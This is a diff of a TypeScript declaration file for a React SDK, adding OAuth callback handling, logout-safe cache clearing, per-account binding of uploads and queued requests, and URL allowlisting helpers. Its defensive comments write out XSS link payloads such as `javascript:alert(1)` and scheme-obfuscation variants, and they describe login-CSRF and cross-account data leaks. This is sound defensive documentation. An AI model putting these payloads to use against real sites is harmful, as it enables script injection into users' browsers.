|
+
export declare type OAuthCallbackErrorReason = "provider_error" | "missing_state" | "missing_code";
|
|
11220
|
+
|
|
11221
|
+
/** The two values a provider appends to the redirect URI on success. */
|
|
11222
|
+
export declare interface OAuthCallbackParams {
|
|
11223
|
+
/** Single-use authorization code. */
|
|
11224
|
+
code: string;
|
|
11225
|
+
/**
|
|
11226
|
+
* The CSRF `state` the backend minted when the flow started. Forwarded
|
|
11227
|
+
* verbatim: only the backend holds the value it must match.
|
|
11228
|
+
*/
|
|
11229
|
+
state: string;
|
|
11230
|
+
}
|
|
11231
|
+
|
|
10642
11232
|
export declare interface OAuthCredential {
|
|
10643
11233
|
/** Provider-issued ID token (JWT). */
|
|
10644
11234
|
idToken: string;
|
|
@@ -10720,19 +11310,68 @@ export declare interface OfflineIndicatorProps extends HTMLAttributes<HTMLDivEle
|
|
|
10720
11310
|
children?: ReactNode;
|
|
10721
11311
|
}
|
|
10722
11312
|
|
|
11313
|
+
/** Options for {@link OfflineQueryPersistence.clear}. */
|
|
11314
|
+
export declare interface OfflineQueryClearOptions {
|
|
11315
|
+
/**
|
|
11316
|
+
* Also clear the in-memory `QueryClient` (`queryClient.clear()`) once
|
|
11317
|
+
* persistence has stopped and the snapshot is deleted — the one-call logout.
|
|
11318
|
+
* Default `false`: the client belongs to the app, which may want to keep
|
|
11319
|
+
* public queries (a catalog, feature flags) across sessions and drop only
|
|
11320
|
+
* the user-scoped keys with `removeQueries`.
|
|
11321
|
+
*/
|
|
11322
|
+
resetClient?: boolean;
|
|
11323
|
+
}
|
|
11324
|
+
|
|
10723
11325
|
/** Handle returned by {@link persistQueryClientOffline}. */
|
|
10724
11326
|
export declare interface OfflineQueryPersistence {
|
|
10725
11327
|
/**
|
|
10726
11328
|
* Load the persisted snapshot into the `QueryClient`. Call once on boot,
|
|
10727
|
-
* before rendering queries, so cached data is available offline.
|
|
11329
|
+
* before rendering queries, so cached data is available offline. A no-op
|
|
11330
|
+
* once {@link OfflineQueryPersistence.clear} has been called.
|
|
10728
11331
|
*/
|
|
10729
11332
|
restore: () => Promise<void>;
|
|
10730
|
-
/**
|
|
11333
|
+
/**
|
|
11334
|
+
* Write the current cache snapshot immediately (bypassing the throttle). A
|
|
11335
|
+
* no-op once {@link OfflineQueryPersistence.clear} has been called.
|
|
11336
|
+
*/
|
|
10731
11337
|
flush: () => Promise<void>;
|
|
10732
|
-
/** Stop persisting and drop the pending write. */
|
|
11338
|
+
/** Stop persisting and drop the pending write. Idempotent. */
|
|
10733
11339
|
unsubscribe: () => void;
|
|
10734
|
-
/**
|
|
10735
|
-
|
|
11340
|
+
/**
|
|
11341
|
+
* End the persisted session (e.g. on logout) and delete the snapshot.
|
|
11342
|
+
*
|
|
11343
|
+
* Terminal for this handle: it cancels the pending throttled write, stops
|
|
11344
|
+
* persisting cache changes, waits for any write already in flight and only
|
|
11345
|
+
* then deletes the row — so neither a write pending in the last throttle
|
|
11346
|
+
* window nor cache activity after logout (the next user's first query) can
|
|
11347
|
+
* re-persist the previous user's responses. Afterwards `restore`/`flush`
|
|
11348
|
+
* are no-ops; to persist a new session, call
|
|
11349
|
+
* {@link persistQueryClientOffline} again after login. In a dev build
|
|
11350
|
+
* (`isDevBuild()`), the first `restore`, `flush` or added/updated query on
|
|
11351
|
+
* an ended handle logs one `console.warn` saying so, because a handle kept
|
|
11352
|
+
* at module scope would otherwise stop persisting in silence.
|
|
11353
|
+
*
|
|
11354
|
+
* Ordered against other handles on the same `databaseName` + `key`: until
|
|
11355
|
+
* this clear settles, a new handle's `restore()` and writes wait for it, so
|
|
11356
|
+
* a handle created on login without awaiting the logout neither hydrates
|
|
11357
|
+
* the previous snapshot nor has its first write deleted.
|
|
11358
|
+
*
|
|
11359
|
+
* If the delete rejects, `resetClient` still clears the client and the
|
|
11360
|
+
* rejection reaches the caller.
|
|
11361
|
+
*
|
|
11362
|
+
* The in-memory `QueryClient` is cleared only with `resetClient: true`, and
|
|
11363
|
+
* then only after persistence has stopped, so the reset itself cannot
|
|
11364
|
+
* trigger a write. It is opt-in because the app owns the client and the
|
|
11365
|
+
* shape of its logout: it may keep public queries and drop only the
|
|
11366
|
+
* user-scoped keys with `removeQueries`. Because persistence is already
|
|
11367
|
+
* off, that manual call can come before or after this one.
|
|
11368
|
+
*
|
|
11369
|
+
* Idempotent and safe to call concurrently; every call deletes the row
|
|
11370
|
+
* again.
|
|
11371
|
+
*
|
|
11372
|
+
* @param options - `resetClient` also clears the in-memory `QueryClient`.
|
|
11373
|
+
*/
|
|
11374
|
+
clear: (options?: OfflineQueryClearOptions) => Promise<void>;
|
|
10736
11375
|
}
|
|
10737
11376
|
|
|
10738
11377
|
/** Options for {@link persistQueryClientOffline}. */
|
|
@@ -11697,7 +12336,23 @@ export declare interface PeerMesh {
|
|
|
11697
12336
|
applyQuality: (quality: MeshQuality) => Promise<void>;
|
|
11698
12337
|
/** Replace the ICE servers used for links opened from now on. */
|
|
11699
12338
|
setIceServers: (servers: RTCIceServer[]) => void;
|
|
11700
|
-
/**
|
|
12339
|
+
/**
|
|
12340
|
+
* Close every link, forget the local tracks and report `closed` — for good.
|
|
12341
|
+
*
|
|
12342
|
+
* Stopping is terminal. The signalling socket usually outlives the call, so
|
|
12343
|
+
* an offer still in flight from a former participant, or from anyone the
|
|
12344
|
+
* server relays to this user, keeps reaching {@link PeerMesh.accept} after
|
|
12345
|
+
* the hang-up. A stopped mesh drops it: no connection is opened, nothing is
|
|
12346
|
+
* answered and no track is published, so a call that reports `closed` never
|
|
12347
|
+
* sends the microphone or camera again. The same holds for `addPeer`,
|
|
12348
|
+
* `setLocalTrack` and `applyQuality`, and for every negotiation that was
|
|
12349
|
+
* already awaiting the browser when `stop()` ran. Calling it twice is a
|
|
12350
|
+
* no-op.
|
|
12351
|
+
*
|
|
12352
|
+
* The tracks themselves are not stopped: they belong to the caller, who may
|
|
12353
|
+
* still be showing them in a preview or reusing them on the next call. To
|
|
12354
|
+
* join again, create a new mesh.
|
|
12355
|
+
*/
|
|
11701
12356
|
stop: () => void;
|
|
11702
12357
|
/** The peers as the mesh currently sees them. */
|
|
11703
12358
|
readonly peers: MeshPeer[];
|
|
@@ -11820,11 +12475,18 @@ export declare interface PermissionsFromTokenOptions {
|
|
|
11820
12475
|
* @param options - The client plus storage/throttle configuration.
|
|
11821
12476
|
* @returns A handle with `restore`, `flush`, `clear` and `unsubscribe`.
|
|
11822
12477
|
*
|
|
12478
|
+
* `clear()` is terminal for the handle (see {@link OfflineQueryPersistence.clear}):
|
|
12479
|
+
* a logout that only deleted the row used to be undone by the pending write or
|
|
12480
|
+
* by the next cache event, restoring the previous user's data on the next boot
|
|
12481
|
+
* (#440).
|
|
12482
|
+
*
|
|
11823
12483
|
* @example
|
|
11824
12484
|
* const persistence = persistQueryClientOffline({ queryClient });
|
|
11825
|
-
* await persistence.restore();
|
|
11826
|
-
*
|
|
11827
|
-
*
|
|
12485
|
+
* await persistence.restore();
|
|
12486
|
+
*
|
|
12487
|
+
* async function logout(): Promise<void> {
|
|
12488
|
+
* await persistence.clear({ resetClient: true });
|
|
12489
|
+
* }
|
|
11828
12490
|
*/
|
|
11829
12491
|
export declare function persistQueryClientOffline(options: OfflineQueryPersistenceOptions): OfflineQueryPersistence;
|
|
11830
12492
|
|
|
@@ -12170,6 +12832,57 @@ export declare type ProgressVariant = "primary" | "success" | "warning" | "dange
|
|
|
12170
12832
|
*/
|
|
12171
12833
|
export declare function projectMercator(coord: Coordinate): MercatorPoint;
|
|
12172
12834
|
|
|
12835
|
+
/**
|
|
12836
|
+
* Answer the worker's questions about queued requests (see `beforeReplay` on
|
|
12837
|
+
* {@link installBackgroundSync}). Install it once in every page, next to your
|
|
12838
|
+
* auth setup; it reads the token at replay time, so the queue never has to store
|
|
12839
|
+
* it. Without it, a queued request that carried a credential header is never
|
|
12840
|
+
* replayed.
|
|
12841
|
+
*
|
|
12842
|
+
* `getHeaders` must return **every** credential header the app sends (the worker
|
|
12843
|
+
* keeps an entry pending when one it stripped is missing), or `null` when there
|
|
12844
|
+
* is no session — the worker then drops the entry instead of replaying it
|
|
12845
|
+
* anonymously. A throw from `getHeaders` or `getPrincipal` is answered as an
|
|
12846
|
+
* explicit `{ error: true }`. The worker only applies headers whose names the
|
|
12847
|
+
* original request carried, so returning `Authorization` for every URL never
|
|
12848
|
+
* leaks it to a URL that did not receive it in the first place.
|
|
12849
|
+
*
|
|
12850
|
+
* Pass `getPrincipal` to bind each entry to whoever queued it: the worker asks
|
|
12851
|
+
* the issuing tab right after queueing, asks every tab again before replaying,
|
|
12852
|
+
* and drops the entry when no signed-in tab is its owner.
|
|
12853
|
+
*
|
|
12854
|
+
* @param getHeaders - Resolves the headers for one queued request at replay.
|
|
12855
|
+
* @param options - `getPrincipal` binds entries to their owner.
|
|
12856
|
+
* @returns A function that removes the listener. A no-op outside the browser.
|
|
12857
|
+
*
|
|
12858
|
+
* @example
|
|
12859
|
+
* import { provideBackgroundSyncCredentials } from "tempest-react-sdk/sw";
|
|
12860
|
+
*
|
|
12861
|
+
* const stop = provideBackgroundSyncCredentials(
|
|
12862
|
+
* () => {
|
|
12863
|
+
* const token = localStorage.getItem("token");
|
|
12864
|
+
* return token ? { Authorization: `Bearer ${token}` } : null;
|
|
12865
|
+
* },
|
|
12866
|
+
* { getPrincipal: () => localStorage.getItem("userId") },
|
|
12867
|
+
* );
|
|
12868
|
+
*/
|
|
12869
|
+
export declare function provideBackgroundSyncCredentials(getHeaders: BackgroundSyncCredentialsProvider, options?: ProvideBackgroundSyncCredentialsOptions): () => void;
|
|
12870
|
+
|
|
12871
|
+
/** Options for {@link provideBackgroundSyncCredentials}. */
|
|
12872
|
+
export declare interface ProvideBackgroundSyncCredentialsOptions {
|
|
12873
|
+
/**
|
|
12874
|
+
* Who is signed in right now — a stable, non-secret id such as the user id;
|
|
12875
|
+
* `null`/`undefined` when nobody is. Read when a request is queued and again
|
|
12876
|
+
* when it is replayed: an entry is only sent while the same principal is
|
|
12877
|
+
* signed in, and dropped otherwise, so a mutation queued by one account is
|
|
12878
|
+
* never sent with another account's credentials even when the app forgets
|
|
12879
|
+
* `clearSessionData()` on logout. Only a SHA-256 fingerprint reaches the
|
|
12880
|
+
* queue, never the value itself. A throw is answered as an explicit error,
|
|
12881
|
+
* which leaves the owner unknown (fail closed).
|
|
12882
|
+
*/
|
|
12883
|
+
getPrincipal?: () => string | null | undefined | Promise<string | null | undefined>;
|
|
12884
|
+
}
|
|
12885
|
+
|
|
12173
12886
|
/**
|
|
12174
12887
|
* One page of the server delta pull.
|
|
12175
12888
|
*
|
|
@@ -12568,6 +13281,50 @@ export declare function readAvailableOutgoingKbps(report: RTCStatsReport): numbe
|
|
|
12568
13281
|
*/
|
|
12569
13282
|
export declare function readDeviceProfile(): DeviceProfile;
|
|
12570
13283
|
|
|
13284
|
+
/** Options for {@link readOAuthCallbackParams}. */
|
|
13285
|
+
export declare interface ReadOAuthCallbackOptions {
|
|
13286
|
+
/**
|
|
13287
|
+
* Remove `code` and `state` from the address bar after reading them, with
|
|
13288
|
+
* `history.replaceState` — other params, the hash and `history.state` are
|
|
13289
|
+
* kept. Default: `true` when reading `window.location`, `false` when an
|
|
13290
|
+
* explicit `search` is passed (there is no URL of yours to clean then).
|
|
13291
|
+
*/
|
|
13292
|
+
scrubUrl?: boolean;
|
|
13293
|
+
}
|
|
13294
|
+
|
|
13295
|
+
/**
|
|
13296
|
+
* Read `code` and `state` from a provider's redirect, refusing an incomplete one.
|
|
13297
|
+
*
|
|
13298
|
+
* The `state` is what ties the callback to the browser that started the flow.
|
|
13299
|
+
* Without it, an attacker sends the victim to `/callback?code=<attacker's code>`
|
|
13300
|
+
* and the victim ends up signed in to the attacker's account — a login CSRF.
|
|
13301
|
+
* The old recipe read only `code` and posted `{ code }`, so the `state` never
|
|
13302
|
+
* reached a backend that could compare it (#449). This reader makes dropping it
|
|
13303
|
+
* impossible: it returns both or throws.
|
|
13304
|
+
*
|
|
13305
|
+
* It does **not** compare the state. In the `tempest-fastapi-sdk` flow the
|
|
13306
|
+
* backend mints it in `GET {prefix}/oauth/{provider}/login`, keeps it in an
|
|
13307
|
+
* `HttpOnly` cookie bound to the provider, and checks it with
|
|
13308
|
+
* `hmac.compare_digest` in the callback (single use, `AUTH_OAUTH_STATE_TTL_SECONDS`
|
|
13309
|
+
* expiry). The browser cannot read that cookie, so any check here would be
|
|
13310
|
+
* theatre; forwarding the value is the browser's whole job.
|
|
13311
|
+
*
|
|
13312
|
+
* When it reads `window.location`, it also removes `code` and `state` from the
|
|
13313
|
+
* address bar (see {@link ReadOAuthCallbackOptions.scrubUrl}) — before
|
|
13314
|
+
* validating, so a refused callback is cleaned too.
|
|
13315
|
+
*
|
|
13316
|
+
* @param search - The query string or params to read. Default: `window.location.search`.
|
|
13317
|
+
* @param options - Whether to scrub the URL.
|
|
13318
|
+
* @returns The `code` and `state`.
|
|
13319
|
+
* @throws {OAuthCallbackError} `"provider_error"` when the provider sent `error`
|
|
13320
|
+
* (the user declined, for instance), `"missing_state"` without `state`,
|
|
13321
|
+
* `"missing_code"` without `code`.
|
|
13322
|
+
*
|
|
13323
|
+
* @example
|
|
13324
|
+
* const { code, state } = readOAuthCallbackParams("?code=4%2F0A&state=xyz");
|
|
13325
|
+
*/
|
|
13326
|
+
export declare function readOAuthCallbackParams(search?: string | URLSearchParams, options?: ReadOAuthCallbackOptions): OAuthCallbackParams;
|
|
13327
|
+
|
|
12571
13328
|
/**
|
|
12572
13329
|
* Read what the encoder says is holding the picture back.
|
|
12573
13330
|
*
|
|
@@ -12846,6 +13603,26 @@ export declare interface ReorderPayload {
|
|
|
12846
13603
|
to: number;
|
|
12847
13604
|
}
|
|
12848
13605
|
|
|
13606
|
+
/**
|
|
13607
|
+
* What {@link ApiClientConfig.refresh} and {@link ApiClientConfig.onUnauthorized}
|
|
13608
|
+
* learn about the attempt that came back `401`: the credential and the session it
|
|
13609
|
+
* left under, both read when that attempt was sent.
|
|
13610
|
+
*/
|
|
13611
|
+
export declare interface RequestAuthContext {
|
|
13612
|
+
/**
|
|
13613
|
+
* The access token the rejected attempt was sent with, read from `getToken`
|
|
13614
|
+
* when it left — or `null` when it carried none (`skipAuth`, no token yet,
|
|
13615
|
+
* or no `getToken` configured).
|
|
13616
|
+
*/
|
|
13617
|
+
token: string | null;
|
|
13618
|
+
/**
|
|
13619
|
+
* What `getSessionEpoch` returned when the attempt left, or `null` when it
|
|
13620
|
+
* is not configured. Differing from the current value means the attempt
|
|
13621
|
+
* belongs to a session that has since ended.
|
|
13622
|
+
*/
|
|
13623
|
+
epoch: number | null;
|
|
13624
|
+
}
|
|
13625
|
+
|
|
12849
13626
|
export declare interface RequestOptions extends Omit<RequestInit, "body"> {
|
|
12850
13627
|
body?: unknown;
|
|
12851
13628
|
params?: Record<string, string | number | boolean | undefined | null>;
|
|
@@ -13045,6 +13822,29 @@ export declare interface ResumableUploadOptions {
|
|
|
13045
13822
|
headers?: Record<string, string>;
|
|
13046
13823
|
/** Returns the current bearer token, read before each request. */
|
|
13047
13824
|
getToken?: () => string | null | undefined;
|
|
13825
|
+
/**
|
|
13826
|
+
* Who is signed in — a user id, or `null`/`undefined` for nobody — read when
|
|
13827
|
+
* `start()`/`resume()` attaches to the upload. The same getter the error
|
|
13828
|
+
* reporter and `provideBackgroundSyncCredentials` take.
|
|
13829
|
+
*
|
|
13830
|
+
* The resume record is stamped with a one-way fingerprint of it, and a
|
|
13831
|
+
* record stamped by anyone else — another user, nobody, or no stamp at all
|
|
13832
|
+
* — is deleted instead of resumed: its upload URL is not probed, and its
|
|
13833
|
+
* `Idempotency-Key` is never replayed. Without it, the record is bound to
|
|
13834
|
+
* the file alone (endpoint, name, size, type, mtime), so after user A
|
|
13835
|
+
* signed out leaving an upload half-done, user B picking an identical file
|
|
13836
|
+
* sent `HEAD`/`PATCH` to A's upload URL with B's token, and on refusal
|
|
13837
|
+
* replayed A's `Idempotency-Key` with B's token (#479). Pass it on every
|
|
13838
|
+
* app with more than one account per browser, and also clear the storage
|
|
13839
|
+
* at session end (`createLocalUploadStorage().clear()` in `onSessionEnd`).
|
|
13840
|
+
*
|
|
13841
|
+
* It is read again before every chunk and every record write: when it
|
|
13842
|
+
* names someone else mid-run, the run stops with
|
|
13843
|
+
* {@link ResumableUploadSupersededError} (`"principal"`) before the new
|
|
13844
|
+
* account's token reaches the previous one's upload URL. Without it, call
|
|
13845
|
+
* `abort()` on the uploads in progress from `onSessionEnd`.
|
|
13846
|
+
*/
|
|
13847
|
+
getPrincipal?: () => string | number | null | undefined;
|
|
13048
13848
|
/**
|
|
13049
13849
|
* Origins besides `endpoint`'s that may receive the `getToken` credential.
|
|
13050
13850
|
*
|
|
@@ -13112,6 +13912,13 @@ export declare interface ResumableUploadRecord {
|
|
|
13112
13912
|
idempotencyKey: string;
|
|
13113
13913
|
/** Epoch ms of the last write, so an app can sweep stale records. */
|
|
13114
13914
|
updatedAt: number;
|
|
13915
|
+
/**
|
|
13916
|
+
* One-way fingerprint of the principal that created the upload (`"p:<hex>"`),
|
|
13917
|
+
* `null` for an anonymous one. Absent when the upload ran without
|
|
13918
|
+
* {@link ResumableUploadOptions.getPrincipal}, and on records written before
|
|
13919
|
+
* 0.78.0.
|
|
13920
|
+
*/
|
|
13921
|
+
owner?: string | null;
|
|
13115
13922
|
}
|
|
13116
13923
|
|
|
13117
13924
|
/** What a finished upload resolves with. */
|
|
@@ -13146,18 +13953,65 @@ export declare interface ResumableUploadStorage {
|
|
|
13146
13953
|
delete(key: string): Promise<void> | void;
|
|
13147
13954
|
}
|
|
13148
13955
|
|
|
13956
|
+
/**
|
|
13957
|
+
* Thrown by `start()`/`resume()` when the run can no longer go on as the
|
|
13958
|
+
* account that started it.
|
|
13959
|
+
*
|
|
13960
|
+
* - `"principal"` — `getPrincipal` names someone else than when the run
|
|
13961
|
+
* attached: the next chunk would carry the new account's token to the
|
|
13962
|
+
* previous account's upload URL, and the record would be stamped for the
|
|
13963
|
+
* wrong owner.
|
|
13964
|
+
* - `"cleared"` — `createLocalUploadStorage().clear()` ran for this storage's
|
|
13965
|
+
* prefix (typically in `onSessionEnd`): writing the record back would undo
|
|
13966
|
+
* the clear.
|
|
13967
|
+
*
|
|
13968
|
+
* Not a pause: the run cannot be resumed as the new account. The state moves
|
|
13969
|
+
* to `"error"`, and the previous owner's record is left as it was.
|
|
13970
|
+
*/
|
|
13971
|
+
export declare class ResumableUploadSupersededError extends Error {
|
|
13972
|
+
/** Why the run stopped. */
|
|
13973
|
+
readonly reason: "principal" | "cleared";
|
|
13974
|
+
/**
|
|
13975
|
+
* @param reason - Why the run stopped.
|
|
13976
|
+
*/
|
|
13977
|
+
constructor(reason: "principal" | "cleared");
|
|
13978
|
+
}
|
|
13979
|
+
|
|
13149
13980
|
/**
|
|
13150
13981
|
* Run `factory()` with exponential backoff. Each attempt awaits an
|
|
13151
13982
|
* increasing delay capped at `maxDelay`. Throws the last error if every
|
|
13152
13983
|
* attempt fails.
|
|
13153
13984
|
*
|
|
13985
|
+
* `retries` is the **total** number of attempts, never fewer than one — see
|
|
13986
|
+
* {@link RetryOptions.retries}. `retries: 5` means one call plus four replays.
|
|
13987
|
+
*
|
|
13988
|
+
* @param factory - Starts one attempt; called again for every replay.
|
|
13989
|
+
* @param options - Attempt count, backoff and the retry predicate.
|
|
13990
|
+
* @returns What the first successful attempt resolved with.
|
|
13991
|
+
* @throws The error of the last attempt, or an `AbortError` once `signal` aborts.
|
|
13992
|
+
*
|
|
13154
13993
|
* @example
|
|
13155
13994
|
* const data = await retry(() => api.get("/flaky"), { retries: 5 });
|
|
13156
13995
|
*/
|
|
13157
13996
|
export declare function retry<T>(factory: () => Promise<T>, options?: RetryOptions): Promise<T>;
|
|
13158
13997
|
|
|
13159
13998
|
export declare interface RetryOptions {
|
|
13160
|
-
/**
|
|
13999
|
+
/**
|
|
14000
|
+
* Total attempts, the first one included. Default: 3 — one call plus two
|
|
14001
|
+
* replays.
|
|
14002
|
+
*
|
|
14003
|
+
* The first attempt always runs: `0`, a negative number or a fraction below
|
|
14004
|
+
* one all mean "a single attempt, no replay", and that attempt's error is the
|
|
14005
|
+
* one the promise rejects with. A fraction is rounded down; `NaN` falls back
|
|
14006
|
+
* to the default.
|
|
14007
|
+
*
|
|
14008
|
+
* The name reads like "replays after the first", but every surface that
|
|
14009
|
+
* forwards it has always counted totals — {@link createApiClient}'s `retry`,
|
|
14010
|
+
* `createResumableUpload` ("5 attempts"), and `lazyWithRetry`'s own
|
|
14011
|
+
* `retries`. Switching to "replays" would add one request to every caller
|
|
14012
|
+
* that passes a number, which no change of default can hide, so the count
|
|
14013
|
+
* stays a total and only the values that ran nothing were fixed (#486).
|
|
14014
|
+
*/
|
|
13161
14015
|
retries?: number;
|
|
13162
14016
|
/** Initial backoff in ms. Doubles each attempt, capped at `maxDelay`. Default: 300. */
|
|
13163
14017
|
initialDelay?: number;
|
|
@@ -13368,6 +14222,38 @@ export declare interface RuntimeRoute {
|
|
|
13368
14222
|
* resource is cached once (the `Range` header is stripped before caching).
|
|
13369
14223
|
*/
|
|
13370
14224
|
rangeRequests?: boolean;
|
|
14225
|
+
/**
|
|
14226
|
+
* Opt in to caching requests that carry a credential header (see
|
|
14227
|
+
* `credentialHeaders`), and responses marked `Cache-Control: private`.
|
|
14228
|
+
* Default `false`.
|
|
14229
|
+
*
|
|
14230
|
+
* Cache Storage is keyed by URL and outlives the session: without this
|
|
14231
|
+
* gate, a `GET /api/me` stored for one account was served to the next
|
|
14232
|
+
* account on the same browser whenever the network failed or exceeded
|
|
14233
|
+
* `networkTimeoutSeconds` (reproduced in Chromium 153, 11/10/2026). With
|
|
14234
|
+
* the default, credentialed requests bypass the route entirely and reach
|
|
14235
|
+
* the network as if no service worker were installed.
|
|
14236
|
+
*
|
|
14237
|
+
* When enabled, every stored entry gets `Vary` on each credential header the
|
|
14238
|
+
* request carried, so the Cache API only matches it for the same credential —
|
|
14239
|
+
* another account (or no account) misses instead of reading it. A token
|
|
14240
|
+
* rotated while online simply repopulates the entry. Pair it with
|
|
14241
|
+
* `clearSessionData()` on logout, which removes the entries themselves.
|
|
14242
|
+
* `Cache-Control: no-store` is never cached, opt-in or not.
|
|
14243
|
+
*
|
|
14244
|
+
* A cookie session is invisible here: the worker cannot see `Cookie`, and
|
|
14245
|
+
* gating on `request.credentials` would switch off caching for every
|
|
14246
|
+
* same-origin image and font. A cookie-authenticated API stays private only
|
|
14247
|
+
* through `Cache-Control: private`/`no-store` on its responses and
|
|
14248
|
+
* `clearSessionData()` on logout.
|
|
14249
|
+
*/
|
|
14250
|
+
cacheAuthenticated?: boolean;
|
|
14251
|
+
/**
|
|
14252
|
+
* Header names that mark a request as credentialed. Default
|
|
14253
|
+
* `DEFAULT_CREDENTIAL_HEADERS` (`authorization`, `x-api-key`,
|
|
14254
|
+
* `x-auth-token`, …) — the same list the background-sync queue strips.
|
|
14255
|
+
*/
|
|
14256
|
+
credentialHeaders?: readonly string[];
|
|
13371
14257
|
}
|
|
13372
14258
|
|
|
13373
14259
|
/**
|
|
@@ -13392,7 +14278,7 @@ export declare interface RuntimeRoute {
|
|
|
13392
14278
|
*
|
|
13393
14279
|
* // Register specific routes FIRST so they win over the precache catch-all.
|
|
13394
14280
|
* installRuntimeCache([
|
|
13395
|
-
* { match: /\/api\//, strategy: "network-first", cacheName: "api", maxAgeSeconds: 300 },
|
|
14281
|
+
* { match: /\/api\//, strategy: "network-first", cacheName: "tempest-api", maxAgeSeconds: 300 },
|
|
13396
14282
|
* ]);
|
|
13397
14283
|
* installPrecache();
|
|
13398
14284
|
*/
|
|
@@ -13421,6 +14307,77 @@ export declare interface SafeAreaProps extends HTMLAttributes<HTMLDivElement> {
|
|
|
13421
14307
|
children?: ReactNode;
|
|
13422
14308
|
}
|
|
13423
14309
|
|
|
14310
|
+
/**
|
|
14311
|
+
* The URL to fetch or download an attachment from, or `null`.
|
|
14312
|
+
*
|
|
14313
|
+
* The allowlist is `http:`, `https:`, `blob:`, relative URLs and the raster
|
|
14314
|
+
* `data:image/` types {@link safeImageUrl} accepts. A file row is an `<a href
|
|
14315
|
+
* download>`, and the `download` attribute does not stop a `javascript:` href
|
|
14316
|
+
* from running (measured in Chromium 153 and Firefox 155, #447), so the scheme
|
|
14317
|
+
* has to be checked before the anchor exists. `mailto:`/`tel:` are left out: an
|
|
14318
|
+
* attachment is bytes, not a contact.
|
|
14319
|
+
*
|
|
14320
|
+
* The scheme is judged on the normalized form, but the URL comes back **as given**:
|
|
14321
|
+
* normalizing deletes every space, and `/files/relatório final.pdf` is a real
|
|
14322
|
+
* attachment path. Returning the original is safe because the normalization only
|
|
14323
|
+
* removes characters, a superset of what the browser's URL parser strips, so it
|
|
14324
|
+
* can never hide a scheme the browser would see.
|
|
14325
|
+
*
|
|
14326
|
+
* @example
|
|
14327
|
+
* const href = safeAttachmentUrl(attachment.url);
|
|
14328
|
+
* return href ? <a href={href} download>{name}</a> : <span>{name}</span>;
|
|
14329
|
+
*
|
|
14330
|
+
* @param raw - URL as the sender supplied it.
|
|
14331
|
+
* @returns A safe URL, or `null` when it must not reach an `href`.
|
|
14332
|
+
*/
|
|
14333
|
+
export declare function safeAttachmentUrl(raw: string): string | null;
|
|
14334
|
+
|
|
14335
|
+
/**
|
|
14336
|
+
* The `src` to render for an image, or `null`.
|
|
14337
|
+
*
|
|
14338
|
+
* Accepts what {@link safeLinkUrl} accepts, plus raster `data:image/...;base64`.
|
|
14339
|
+
*
|
|
14340
|
+
* @example
|
|
14341
|
+
* safeImageUrl("data:image/png;base64,iVBORw0KGgo="); // kept
|
|
14342
|
+
* safeImageUrl("data:image/svg+xml;base64,PHN2Zz4="); // null
|
|
14343
|
+
*
|
|
14344
|
+
* @param raw - URL as written in the Markdown.
|
|
14345
|
+
* @returns A safe src, or `null`.
|
|
14346
|
+
*/
|
|
14347
|
+
export declare function safeImageUrl(raw: string): string | null;
|
|
14348
|
+
|
|
14349
|
+
/**
|
|
14350
|
+
* URL vetting for every `href` and `src` the SDK fills from somebody else's data:
|
|
14351
|
+
* links and images in rendered Markdown, and the file row of a chat attachment.
|
|
14352
|
+
*
|
|
14353
|
+
* This is a security boundary. Text that arrives from a user — a comment, a ticket
|
|
14354
|
+
* description, a chat attachment — reaches the DOM as a real `href`, and
|
|
14355
|
+
* `javascript:alert(1)` in a link is script execution on click. React 19 replaces
|
|
14356
|
+
* a `javascript:` href with a throwing stub, but the peer range admits React 18,
|
|
14357
|
+
* which only warns: measured with react-dom 18.3.1, `renderToStaticMarkup` wrote
|
|
14358
|
+
* `href="javascript:..."` verbatim, and clicking it ran the script in Chromium 153
|
|
14359
|
+
* and Firefox 155 — `download` on the anchor did not stop it (#447). So the
|
|
14360
|
+
* scheme is checked against an allowlist rather than a blocklist: a blocklist has
|
|
14361
|
+
* to enumerate `javascript:`, `JaVaScRiPt:`, `java\tscript:`, `javascript:`
|
|
14362
|
+
* and whatever comes next, and misses the one nobody thought of.
|
|
14363
|
+
*/
|
|
14364
|
+
/**
|
|
14365
|
+
* The href to render, or `null` when the URL must not be linked.
|
|
14366
|
+
*
|
|
14367
|
+
* Relative URLs (`/docs`, `./x`, `#anchor`, `foo/bar`) are kept: they cannot carry
|
|
14368
|
+
* a scheme, so they cannot execute anything, and dropping them would break every
|
|
14369
|
+
* in-app link. Protocol-relative (`//host/path`) inherits the page scheme and is
|
|
14370
|
+
* kept for the same reason.
|
|
14371
|
+
*
|
|
14372
|
+
* @example
|
|
14373
|
+
* safeLinkUrl("https://x.dev"); // "https://x.dev"
|
|
14374
|
+
* safeLinkUrl("java\tscript:alert(1)"); // null
|
|
14375
|
+
*
|
|
14376
|
+
* @param raw - URL as written in the Markdown.
|
|
14377
|
+
* @returns A safe href, or `null`.
|
|
14378
|
+
*/
|
|
14379
|
+
export declare function safeLinkUrl(raw: string): string | null;
|
|
14380
|
+
|
|
13424
14381
|
/** A schema exposing zod's `.safeParse`, including versions older than `~standard`. */
|
|
13425
14382
|
export declare interface SafeParseSchemaLike<T> {
|
|
13426
14383
|
readonly safeParse: (value: unknown) => {
|
|
@@ -13910,6 +14867,35 @@ export declare interface SequentialScaleOptions {
|
|
|
13910
14867
|
ordinal?: boolean;
|
|
13911
14868
|
}
|
|
13912
14869
|
|
|
14870
|
+
/**
|
|
14871
|
+
* Thrown when the session that started an operation is no longer the current
|
|
14872
|
+
* one by the time it settles: a `refresh` hook (rethrown by
|
|
14873
|
+
* {@link createApiClient}), or a `createTempestAuth` `login()` whose session
|
|
14874
|
+
* was replaced while it waited on the previous session's teardown.
|
|
14875
|
+
*
|
|
14876
|
+
* A refresh is a network round trip, and the session can end or change hands
|
|
14877
|
+
* during it: the user signs out, or signs out and another account signs in. The
|
|
14878
|
+
* tokens that refresh brings back belong to the session that ended, so they are
|
|
14879
|
+
* discarded instead of installed, and the request that was waiting on them is
|
|
14880
|
+
* not replayed — replaying it would send it as whoever is signed in now.
|
|
14881
|
+
*
|
|
14882
|
+
* This is deliberately not an unauthorized outcome. The client does **not** call
|
|
14883
|
+
* `onUnauthorized` for it: that callback ends the session, and the current
|
|
14884
|
+
* session — possibly a different account that just signed in — did nothing
|
|
14885
|
+
* wrong. Treat it like an aborted request: drop the result, show nothing.
|
|
14886
|
+
*
|
|
14887
|
+
* @example
|
|
14888
|
+
* try {
|
|
14889
|
+
* await api.get("/api/orders");
|
|
14890
|
+
* } catch (err) {
|
|
14891
|
+
* if (err instanceof SessionSupersededError) return;
|
|
14892
|
+
* throw err;
|
|
14893
|
+
* }
|
|
14894
|
+
*/
|
|
14895
|
+
